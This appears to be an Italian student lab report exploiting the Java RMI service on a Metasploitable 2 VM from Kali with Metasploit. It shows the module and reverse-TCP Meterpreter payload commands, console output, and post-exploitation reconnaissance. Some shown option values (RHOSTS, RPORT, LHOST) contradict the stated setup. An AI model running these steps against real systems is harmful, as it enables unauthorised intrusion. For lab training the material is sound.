

Relazione Tecnica di Laboratorio: Exploitation Java RMI

1. Obiettivo dell'esercitazione

L'obiettivo di questo laboratorio è dimostrare lo sfruttamento pratico di una vulnerabilità nota sul servizio Java RMI (porta 1099) ospitato su una macchina target Metasploitable. Lo scopo finale è ottenere l'esecuzione di codice in modalità remota (RCE) tramite una sessione Meterpreter e procedere con la fase di post-exploitation per estrarre le configurazioni di rete della vittima e i dettagli del sistema operativo.

2. Ambiente e strumenti utilizzati

Per garantire l'isolamento dell'ambiente di test, le due macchine virtuali sono state posizionate sulla medesima rete interna isolata ([kalinet](#)).

- **Macchina Attaccante:** Kali Linux
 - **Indirizzo IP:** [192.168.11.111](#)
- **Macchina Vittima:** Metasploitable 2
 - **Indirizzo IP:** [192.168.11.112](#)
 - **Servizio Target:** Java RMI Registry (Porta 1099)
- **Strumenti:** Metasploit Framework ([msfconsole](#)), riga di comando Linux ([iproute2](#)).

3. Descrizione dettagliata delle fasi con relativi comandi

Fase 3.1: Preparazione e Configurazione di Rete

Per rispettare i requisiti di indirizzamento della traccia e garantire la comunicazione a livello 2 senza interferenze di routing o DHCP esterni, il servizio NetworkManager è stato sospeso. Le interfacce sono state pulite e configurate staticamente:

```
sudo systemctl stop NetworkManager  
sudo ip addr flush dev eth0  
sudo ip addr add 192.168.11.111/24 dev eth0  
sudo ip link set eth0 up
```

Fase 3.2: Configurazione ed Esecuzione dell'Exploit

Tramite [msfconsole](#), è stato individuato e armato il modulo specifico per colpire il registro RMI, agganciandovi un payload per la connessione inversa (Reverse TCP):

```
use exploit/multi/misc/java_rmi_server  
set payload java/meterpreter/reverse_tcp  
set RHOSTS 192.168.11.112  
set LHOST 192.168.11.111  
run
```

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ----      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    1099             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     3099             yes       The target port (TCP)
  SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SRVSSL    false            no        Negotiate SSL/TLS for local server connections
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.10.11   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)
```

```
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
=====
#  Name      Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/mix/bind_aws_instance_connect .             normal No  Unix SSH Shell, Bind Instance Connect (via AWS API)
1  payload/generic/custom .                       normal No  Custom Payload
2  payload/generic/shell_bind_aws_ssm .              normal No  Command Shell, Bind SSM (via AWS API)
3  payload/generic/shell_bind_tcp .                  normal No  Generic Command Shell, Bind TCP Inline
4  payload/generic/shell_reverse_tcp .               normal No  Generic Command Shell, Reverse TCP Inline
5  payload/generic/ssh/interact .                    normal No  Interact with Established SSH Connection
6  payload/java/jsp/shell_bind_tcp .                 normal No  Java JSP Command Shell, Bind TCP Inline
7  payload/java/jsp/shell_reverse_tcp .              normal No  Java JSP Command Shell, Reverse TCP Inline
8  payload/java/meterpreter/bind_tcp .               normal No  Java Meterpreter, Java Bind TCP Stager
9  payload/java/meterpreter/reverse_http .           normal No  Java Meterpreter, Java Reverse HTTP Stager
10 payload/java/meterpreter/reverse_https .          normal No  Java Meterpreter, Java Reverse HTTPS Stager
11 payload/java/meterpreter/reverse_tcp .            normal No  Java Meterpreter, Java Reverse TCP Stager
12 payload/java/shell/bind_tcp .                     normal No  Command Shell, Java Bind TCP Stager
13 payload/java/shell/reverse_tcp .                  normal No  Command Shell, Java Reverse TCP Stager
14 payload/java/shell/reverse_tcp .                  normal No  Java Command Shell, Reverse TCP Inline
15 payload/multi/meterpreter/reverse_http .          normal No  Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
16 payload/multi/meterpreter/reverse_https .        normal No  Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show option
[*] Invalid parameter "option", use "show -h" for more information
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ----      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    1099             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     3099             yes       The target port (TCP)
  SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SRVSSL    false            no        Negotiate SSL/TLS for local server connections
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.10.11   yes       The listen address (an interface may be specified)
```

Fase 3.3: Post-Exploitation e Raccolta Evidenze

Una volta stabilita la sessione Meterpreter, sono stati eseguiti i comandi di amministrazione remota per recuperare le informazioni richieste dalla traccia e mappare il sistema bersaglio.

Evidenze post-exploitation: configurazione di rete, tabella di routing e metadati di sistema

Tramite i comandi **ifconfig**, **route** e **sysinfo** eseguiti nella sessione Meterpreter, sono stati estratti i dettagli dell'architettura, i parametri delle interfacce attive e l'instradamento del target, come mostrato nell'immagine seguente:

```
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:58363) at 2026-07-24 06:25:46 -0400

meterpreter > ipconfig

Interface 1
-----
Name           : lo - lo
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 127.0.0.1
IPv4 Netmask    : 255.0.0.0
IPv6 Address    : ::1
IPv6 Netmask    : ::

Interface 2
-----
Name           : eth0 - eth0
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 192.168.11.112
IPv4 Netmask    : 255.255.255.0
IPv6 Address    : fe80::a00:27ff:feeb:6660
IPv6 Netmask    : ::

meterpreter > route

IPv4 network routes
-----
Subnet          Netmask          Gateway Metric Interface
-----
127.0.0.1       255.0.0.0         0.0.0.0      0      0.0.0.0
192.168.11.112  255.255.255.0     0.0.0.0      0      0.0.0.0

IPv6 network routes
-----
Subnet          Netmask          Gateway Metric Interface
-----
::1             ::               ::          0      ::
fe80::a00:27ff:feeb:6660 ::               ::          0      ::

meterpreter > routes
! Unknown command: routes. Did you mean route? Run the help command for more details.
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (1386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
meterpreter > 
```

4. Tabella di Rendicontazione Modulo

Modulo Testato	Meccanismo Utilizzato	Payload	Esito Attacco
multi/misc/java_rmi_server	Insecure Deserialization su porta 1099	java/meterpreter/reverse_tcp	SUCCESSO - Sessione aperta

5. Conclusioni

Il test ha avuto esito positivo. Il servizio Java RMI sulla porta 1099 della macchina bersaglio è risultato esposto e vulnerabile alla deserializzazione di oggetti non sicuri. Sfruttando questa debolezza architetturale, è stato possibile iniettare una catena di classi malevole, ottenendo una Remote Code Execution (RCE) completa. La sessione Meterpreter generata ha permesso di interagire stabilmente con il sistema operativo vittima, consentendo un'efficace esfiltrazione dei dati di configurazione del network e delle specifiche di sistema.